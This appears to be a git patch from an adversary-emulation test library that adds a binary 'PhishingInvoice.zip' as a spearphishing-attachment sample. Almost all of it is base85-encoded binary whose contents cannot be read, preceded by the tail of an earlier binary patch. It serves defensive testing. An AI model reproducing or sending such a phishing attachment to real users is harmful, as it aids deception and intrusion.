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 Date: Sat, 30 Jun 2018 23:52:34 -0500 Subject: [PATCH 68/91] Added Spearphishing Zipped File --- atomics/T1193/PhishingInvoice.zip | Bin 0 -> 15750 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 atomics/T1193/PhishingInvoice.zip diff --git a/atomics/T1193/PhishingInvoice.zip b/atomics/T1193/PhishingInvoice.zip new file mode 100644 index 0000000000000000000000000000000000000000..a9b2998f03cb9caec19cbcd984ce5ce851acca62 GIT binary patch literal 15750 zcmZvjQ*D+%?st>TdOKG$hR| z4}Zy^s91pTfS~`kwOBfE8;1x;5Crc(7X-0^($?X^(&n#(QDYuY!!;hfG^^}5ltfLmuLq2 za+czreIFB{dtJu)r*@62NR@c=2S#m0U}bS1(6!UL5204`vXC(63s$ScU@hrbJtCG- zZ53%PNJq|y4_C_fRnJ50B#Q8zZ;{?|0;;Y!QE0-(jibHp!2i@U&wrT<}h9X5gZYbTooe4g|~zDlJ&jXX0S|=fxHtoT%--f zc5|?C^Sd(6u?f!TeQ*WbztBf9e#<+l=&B9*7V*p$_RJL$iu1yLAz~Gd#@<4~H_kP0Gr~ zfXCcpEz;%tW(#AHW5ywKiUR@k_5}v)`^zZnpjb@W^|_t=A!nMoE4$VPXl<-0d$;)& zfcqu<3VYDB+R*1-@0V$6FDx2+f3^ezma_0~Vh0gpbhu}G3yqgu>}*86+l`j zxYlIbYim5UokXj}RNiHYy;1ZMRqx3k z7@6~Ibay>EGzY57-^o~Q@fKTK={cGaJz1}hvPgxLJdUY1>ztUcz(0pLgvl)m$l?hoi}kK1WV1LUuxXPPbJI%8;tvK@E>VZGJy-y5qz3k2_RY4j z^L^Nm=AP^YMc*k|Rbyp#<-hFAj#NNEKd)K4<}bGp>h-qvJwxGNJIs&BrbU*MsPm^V zWEHR%-r)lEc(po}azg#myX~76p(;;$=kAY5Aw+=^r5Uh6>+HPN$)8U2axEqR>V7G8 z$xQsqj`cSzmDeq@ck8$9BTK@MByQ;MN;wXQQD)ztY4hdNt@>@lU+(8307c;@-LK*f zjA@%M1z+#`QMPtQ{S8q&BD11`fmX<_xYuq#W%{i1lR2JJQ6uzX1pHuwbyCz(&6O41 zb~9sXH^Q=>R+k#KZrE}uqM4kFR?7G|72ED+?5!kH$H4)VN;5h4rb>y&^Wppzs3YW@ z4l9=E7LDpYqD&d~NXRpdVM$};U#V<^9(k;ozT< zUa$(OC8%n%HI%?SkAvm0-utitGM8t|O&Ez2gG+(7V|bYgoIo`!is-0}5eAnV+(4N@HkLqyq3ErS;+jV3;LW-+0VDUtql1mcaWbHkXt^0p zRjULbEhvRQoJ(MVjH~#_*t*1SU|vw1D==-cG%uwkk}y8B5?c4>JLtsp#Y4{Uo2u() z0}$#sLnKLMPc!aUF1;GWp$6|Gx7CD#sY!$*x{X>gJ)eB_L#rRLWuI^sCSAC%73fx%sJx}F0APytEos_H{ zw|89L7E|>=xjLZ8+<~ah%yiGvf_gk<0-Q^#EE znxbBU>{u*fg6lZ0{foYd=lBpD0)zAwxi|HM89$cDDuxhjy;x}mjEyG~bhv8Fo$7p|!Ml|SX(4So&6#QDj!Vfj?orx47f0gFa!<}8pdP5$Wno!#{uW5HWMU@l7H>`kK4OYVTI1UL7AX~hfZhcnZ5@hjEG!H63@xn9Y=1FxhR`); z)ZdYKt#0r7Z(S@!UN$z};QLuqWBllur~k;Z<61shi5nqRm|7C zzI__^dH33UgxBX7a6``w6v>lFi^1+h+fCLl(-p`7QnCw{p0P7-x(h7uLmvbAP|bLM zXk%Ja;zfeUv?N@}ZI;RwT5VaBBBa%wpO0Wv>O0P&G6v>?!u(Q zm*@o^8iJ`N7XE6^beyMI66(Mf5qud?B`8I1WdVu#2A+s`#A~@s$F}gfyKMue37ZBf zU>#3m_tpqV0Z$%3q0eF}s`OZw_%{VgYkXF1YB}lK9N~5R7`UITmMvypGF-zYv~rH( zea==Oli`GCH%@8nazlE}luh~Fcn_U#@}P-cHk?n6a?ttfhb4%)xC`OE9ZG*sp@ob( z6DkHkb+cs$%hW)z?e<_sBTPSZj8s@Z8sRvmFG_G^!#eLwR6R0WAg z07vD3CSHb#SB~~z%Jeqhq9$MAkIZ!R&nLf+@8w@eoBdngMXjH0oOe5B(Ex#$YdJW0 z{HtHU{M#Dv_b&oq(xfZkuZCvtE^*c#L4_x7WZ(odd}$R7_l|lH`YLNgF8E;0-v*Ug zI%YZUm5UiW-Onycw`~`GVn4ZgkQn*KJ!mDg8;F0UfbMw3SRZa>T_luctxM}ou4&Jv z5=|rLJ`z{WL{0!BWR^XHWbI$w#8ce8CQ_2mx&wf-c1o<-CSS6&s{oh3A5yAubj*CeW z%YU=Xa)@Vh#Q=0(m3*S#Wk7k}1A&6CJ?8Ic+aW5ac2$JM}!4# zV~Ytt?IU2f2S4yN7{Ob)2NGs_Rm0g~&9Xsxhw(Ex$~xv3H;Pk^;dIl}hSNH#VbKaZ2O?!~>PeV$1MA5O`L%vmgBSbSdecBDv%UmzD-1&@J~Bf2SW#r5+0An| zfXz3)u$WP;u5{LqF=C6X6CHe^m>>Piw~UcMIAjVP+g4?PZL9M9GJeU*D8LVh)cdrK zH(?9GO)nCN7Olna+wKSqBM;!aw4|dAE8_z9YouQA2~MH)l$UE6uMDF2HwUe%JFS+; zkcQd1Yh)O>9vfpAo&L|xjoDfUO&iv)Y7bLBL%9VIrb)mNsU`0}i>3LUwyf&!E`*x}avguM z6y_4Mav9ezNUzx8)-?r3Jq2l~nP7#0R8IG!9R;FoC;{`h}* z%F*dyyHy?%1`7S z=cfF^+%X5!W0kinWk1tf{q{VStGF^Hs=;fHeX$Y~{#@~-R&FD_Q;D3+x%;Vq#r+g6 zx`3LD4$0QOa;tSgz$&gHa? zMA;UIScX%F+M!IX+348Y>U5qhUALXW8_H@(Z+6@~O&f#z;Q!jOQZr5;&B=YOvZM05 za=`+;r*h|g6Ilx;B-jdl9kAkkz=!Ji!m!k_^9}l4hjk|4Zab3&;LJEKG3IU2Rnq0Z zP@>DteppAbm*i>h?+LO1@_fSTbTL~H&(HLd!gTvXZV3&M`wR!O23|8c0o~ffpVVN^ zJCD0<*Vm~<-z_o<{8}cc-`k=kAV9re6*3-5=mu{vx zs}iu`v(^Sm9GV93_*3^`&}abN5G{F6^pKKs;)~paqTxBzM^cMp-tyk*1nUNhGCxrN zV8W27*0`qKa!YY@c82C$WH&gPP^K^L!^5z=zM=OlC-GFofeTemqKfY1cer$|dqMB;EVnwwG zy0_Sgxv^Ga&FM?C-PMu|FSdH|8;2QEN?gxex>8@=PA%|%wECWB&h=IC7O(MANR{M^ zKfgpzr`lZ9Ka(DJ%$0O?bLL&J^u zcEz5atuc~^dPL}sFpJx&xeAm(LRi<{?INZ*h{Squ!Bb^Z=l4|_-o@zW`3yXvWO zXJ-jUIbBO}so2`(eji+JFv#|qjq&*j;p~2aFJ0(L=!Jvv7Z%~*NmKZ;gd~JR1d0_2 z#(~!p!Km=Yoka+#WzEB7=yIK`gCY2#(QTb5i91l!i`eBVVbo84-#oispwhOrAuRoq zCN?kVEG*Tow~qLs|MYRH9kBQLJQ-$xiYer*)Ad^{+}~bSdNUa?DUA%N%J36zTl`m( zD=@S8LV8I&>BEQsf8(H$1Xd%o4sn-zSd@BK2fw|X7tRt2!Ek#M>0G|{zOD<_FjxlG zeJ|A}@#}abbn>rgynhn2+WziI(Vp`pW{D!&_S56VF+_!E?kmqSCIdskQyOOQ?6x-b zDL6bXx%boZvuoGEuAX~MePKZ}=wYDeLqQxyqv7z9j#W>*Nl;1?s{1qb^4ed1kcWw3 zpOjZ|$@vCb^2JKlm=|}Fv=@R>F~45EuVAA)r-IZp=l5FM#0t#OR2~3o{S3D zb1TndqvDci)Fypo7hdVKLm13GE`!Dwn4bo|Fk#y`{flIVWl3p9<)aAbC23hB(ps*UJnVhbuo01;u8UNhig)NJPpq9i%=#N2|>+zTlhoC4j zh00}{=A4czPe#E|%|IMzc?vjApAY0eE)CreI##C~Z>$VInkau*`BGn{>3qN>5pM`G zr+$%F`PehPvTVXmZtOsqL=TWIZ1)FQ-g7d=T&{boom&;H^VUEBVhQ^4@lw)IpxU1~%csTSSFZ8*ApOHoAh# z9J&&P&24oSg zLt}au+}-qe*PA&^nC|toh1q)9)Hw8*@G2iwapb9W+A^>2fmYa6qvnr?l5D8@rC>%N6r{BX;=Zk(2 zM0{&j1U#iT?re3D9S2hffIi;~I@L^ehA6Sb7OGW`mV6|E>ZVR(A1;M1W6PByJ;H=l zk)q)GF&)vL)P~!VqQSaW2bQPyTg!vjL+2q|D|fn;{tK5aS67}*7c=Togy6kd<*|Cc zQMfRM4*yf$$~RU^knEvIdLh98=cJC~c@Nv@PgrkU2zeA&l{zM#Hp9-ujy)?$ds}C< zUXQ5j>O1Wub8Nvu9^A62 z_+kZKgq_4{etU(NF*_y+2fm3A^-cytJI971RR+%<;A4rYb@uVRe$|R0S5ZAApfNYc zkSCse{z=AU54p~E&inMk*st#m(d308bh3I6-Fk=3%I#DtLjaKp14)g%V%k_kW$O}9 z0qe%f$lrRJ6L}OlcDyhDn~zHNipl4zdL^ID@+2$*ERi?}Cm zWATtzm~y*&??A%Dobo}kj7IKKS^ZKvt~xYKDU<%*{PT8?b-AmXznV_u@g&0yTrP;u&z6yb-6yG$evBLO48uy~f9jw5ik*}#Zr%A}84NNCp zDK_hLq}iyFO!Q`5_}%zJ#UIL^>MOQ`;Do8DtLCK*ma?&xW0PQJ4v|Fk_YapZV$zMPADpJN4V2w+a6!ivc=U zoi|u~CS=5Kd&iK-hmHDP^p`G!v1KWptaz1LxxJ}FQY0rnkM-Dg4+AgVuip>tngD5# z7hGM@df*s7qlbmOMxm?<2<`vePVdqjUv6fovv(VBk+uu8!jm`-Y7d! zT{+3ze~DJ2bse<#t(`KIHA{{B>-DHdoQ)==1TR;Fo*x7rx5b?ZlUkA&nUcC9f648+C1{3!o#^x)Lfx)AJQv zULTAZeTe4tq@>{G7H>EXqrk4%^Gsa64mS>!oNOF#+6Zu5^z{Urpzt%ScaO(iYu@28kuu4j~LChv!wwFVG8~K4I*6tv$wp$lFY60Q5&# z?F)%tss4Zv{$8>BUF5F-5>2iR(sXBmt3g{iQ$gmEF z7a#UDeeT6}5t+}72o(6oK0TRcFqLiPa|{72Y>NQyhNy&D_jTt~SPde7IS7}4^TUU< zQae#@f-4o`>T%qhuys2H!uk9g>+iRuh=nEc?RAny*aBE0YJC{KR4x9x%6F*j9PtDh z)Q3htIKho8(YVHUa|LU1Lp{+Mf58;SP@lJkSDxvb`C;T$Atn60?H*{r2UINk4UnXH zV?#dtdZW`;$w1`eO525N8)<8Vd$pS{g~=!Rv8y-pfG3%fm5?1L?yj$m%O2Caa?kfMX z>{^yYxsLSRMvRTG21@?m!}ZV1gC)%%Yv?d&$%YRQVn?|~_z9`f_HxjUG!ipC#_1_l ziAV+Q@xTvtuvt?f45#BoEZ(w$=bD~y4HpUp6(rlr*w?&~UKwaR-o>4S_ zUl?gi4{v6#f(Kd5YF-^^=b)h^;X{0)9?lFe=NeBqdHwfsfkZJd0A5xUsRF)oW?c%k z(=5SzLy>V^v~+ag^B>B}slqa6P3tHeCWvA89XF^@geb|nTQMGp!j`Y=8M#zm??bDb z5Ws%8We|O0g_5dq9y_8Jo^ugABmkmiG)1n|=9U@4@aWYzYz$unPD+hq%RlXJRGnlk zrRckevO(PeNk}?y|5GJU&xeFOwF$mEr)?#Qmf1zho+RcD&2wZHg;`^`<#aWd`>86Ulun(zOlP}{84^g)vkU*8=hqKsm@PgY?E@iobEjX0fZ1Y1lq z5t+^jHofk}%~t^JH3T;em5R$EExpoEP7<13>b__Pg;H#cR)5WLf%r!a2R7PXhzMy_ z#H~P2ucbzm!OSq(PgIQ0)?{m3&VJ!47$goXMrxLrnv3L&;&gEE6_&T3Dxour^u)Ma z{n@m%;>KGh3J*uv2gAG@d|ddNk*$NUZ%))IO1`G*FLs(B7$<`U^f()%bEy3EG?TP* zN=AZraj1B+b*H6}<=69Pf)BZKJICV!)P?&lX#eB&#MZ#o*3gZYfN#ZPVbkA9CxU`c za)M3rhP9ZPOR|PkD)O)ZQYWJmKOeOO^GDyCpyIFk?NM6akCyB8Wi+~ay@SUiyw)JF zZKD*8tH1PpuD9DQFS;La(_jiYtC!4?JT&TiKv@-`Doc)0!e6KT92Gj5j+e3-cO&~V zelanH0FK<;;?y|qOpuIqleMo^ItE8mrHs9GJeH+)VGIO<18V?=eh z;=Xy8qmGSuBOvmq$j@3b5<`%xMi~xfzhU-}IlK#Ee%3$sa z7{nA-f*B{MFJN4&q&J$O&pHkPytDE_sf_+Q@(yCn^;opfK>^uLP znVZWeFpv@fqvefqH@RYV)9k9S1pK}Y+}aoKL$?FnAT@n{I~#A?n~iauFsuErYnGN%hD<1<^oaTdM@{dSoR+D6+a@=ol@^M#+cCwKEJ zP#06^5B8n(rY&OiSnawmI|=SKb)1w&b8l>$7?Z**cZX1 zS&ZjDW}~$HVB{d_@-EbjIO3J5v$QX*f~2SPS=nh{@Ak_NqA(UhYwaT?aSl$#f6#+V zB!@EkxZpPEqk4KF3QEccrOD4yVV@UZkBR?1nn?xh^I+o>_P%FUov34uFbhlfg&7K_tZ zYRKV%>q|c;gEMfGOpp@emqY?aHw6AKNEFywV5`GY2q%)9`Q%I9h@Q(WQ-xxHbQPv)TpVL`Bo zJRmM!P9*nYPGN;()FR&EshE#2>btktq63V2q8O2=;YKs_dy^u40O0}14Koh3=Z|Bb z;tOZy>E{;;Jdm=vhWc*uFVsrvycXy34t3mIm^Zd~Y(!XFA#8y5=Av}AEVs!Z_|ReC zQt2vb;1bqTDlmNu1@cmR#a)Y8VB=3U)0uV9nmG=)aw(?Kcow}sv5e7jkJPF+*os-Y z`%91vKvNPaut!Q{bd0lo1`J>zC1b0wsu&j;HO%UtAw&G4mY{W)-7tvW!m8!$`*ONt z{Wf4L==Stp=p2>|{3NR9dc#e_xR}WWL|9vPB~)PsAY(7Eg&gJt6CEW?8_g*V``ksC z*F>EK^HL|_Q#cTNO7|j}Yq7&JiD_f=wOz;20REIc)3v3q#c>*vWKt1;UFT{4tlDpy zhGo&6fVI+9B6kmdiu9w*=(@o~!J}II?3y9*Ik~>WiOg`q&XI%89K_GZcSbsbgBAq2mJen&5=U6V zlJA2AMMW;knjSogBhwVBZ7uSYk2zTeXG#v%Z*mSbhvl*?$6lIG zM$1+q>1gE{=Qxak4y=bC$+7n>+j}riBkbf>bMW(TEOW98nm2FYG2w8a)IaFtzel*k z2j?OIg&o=ZL&i{PXF*-zqI1>?R6Kgc8;|@$HHk9((}7MJFSmlxL@eCPyG3Y0@;yyJ zmMa}HftKrBU+^Kq>c!G08+4Vu#bk-@G<~(urm7;}hCZ;vU8C*RRHEPRx%))}fm=&b zQwa9;D~aM?f3`_X514v^(siLJg~ov z?E3qvR-JgI$+EoYSVdAb>_p41Kl%^6&X4Jz3 zShjtMe;%D|s|w7y0trBu1s=slh*T8<2B$gQsVxofQqea)27{nax2Dy#?rj1iWZH2G&4<%^GyRO8)`xhcpg!4IYpl)`)@L?1REX ztX>@K3O5Qlj9NiJL!dmLJT*;*TZVIiY@H`>HE#+R1oww`06hp>i=%?_f|vz$zY*ON z7lZcu{r5y)Avg4$7sded1tX1RUQDNr-B*O{gIv8iR`~iyXtM830HK=eOEM@jXi^ta z38FD!?ZPzOKmco^3*3blLK&XGScZ$$Vpb7c@_&;uh^w8u72BHKm(0FnDd-4@wPhqvit3Apg!kD(U=E35}qlXYz&KK z4s0_gtgn3^&;B3eshc(aJ|{Jv;eYSFtfD9#))QaxY2zTI-@cx~8d?k*=J0~I1!D(| z1E{o$;=i=Fl{^J$@IH~9L{WRfv7uUgv@CteObMjEO~Mz@H2iq>m%WxX4AG1|GdR7lpl!AlAYmmRC-}(1)Eh^Qs(HI3<#C zJl-MLK$DS&V-17CY{L9zPph;+=Y-8bQTSHj?yJh+{Pkz;Qq}U2j5*BQ3i#MM}-YTVqT^x}k#w4>u84VU5fc%JYca)J{oh#B= zTS_j&-uQZz5u-|>Jwa>s&1%E9@xnuJXi~W9eAa+_BA{Q-syU%s3Uy&r!LT0-&J}Oy zw_YWj!7LEPGNogl%&UZnL!YR%&BKiG&+XV;*3IY8 zll;%> zp~sP##muA!2#@39g~F0EPK-%00K6}Jh>IEt`_trA)4BPy&crLI9m_6aPO!Iryjr@N zyG#_$%hZS?k3}mpf+_rxb`F2IHD4{ov2nCX$L0ZiS7jKP)dcP7!x2rW_o$vdX+kNO z4JE@;kOQU3f7gfwN%ZBLbbsex)+47zO>~i-fvo4K*pSV}!(WOICP6%mD@4IbanfQ5lG`uc*xu+p-B@)F z=xm}%idm*+KMs0f5*f1Wql4MNA|xn2-zGFjg~5FJB|49pan%l6?OK=9XXuKU9!wt# zwjoKRDEJbpV=^g4^Z{Cbz{6WJo}BA;y;T-WDyXwxm0fj~Y>{ev zab6bNu5hrjr?sJ068GzN)M%-=WOe7uqoyvA1)o$ir|(7wXv%zOgS5h=Gk5@w`I^&m zGmszLNHksKw<`fOZ?oKLe3(qPDXYD3fL$N63>&8WzYtk7?d6OyT$C^ z<_$w4UIH<~x_()#Q`5`k@;*h4A|Qo1YL@b}UpqJI+u-QR0f|Uqn zCJ5s!f{Q`_+*#8;-<7bG)KVjMg%{Nb#pv+eIpqxZ^o-~!Drscp>%)q~@?$S{exPnQ zwV2&q)K%cUrx|QDHxWIEE&4S&GY~$1J0-Lk5yCW*nmw!|;k{wUSYy4Ku#-fV0!85d z8?huocXoi=t^2@5YUo9?g+KY~I7jJIr17jk*#BVByxeWBw2m=zPWwkvVQqMvT=zPh z8}lj4%Q=H2#E9hkIfVnbpeOi{)4H|`k6|Md=f{7A@Z_bUw}Rz4R4ZYbCh(BfRS`0) 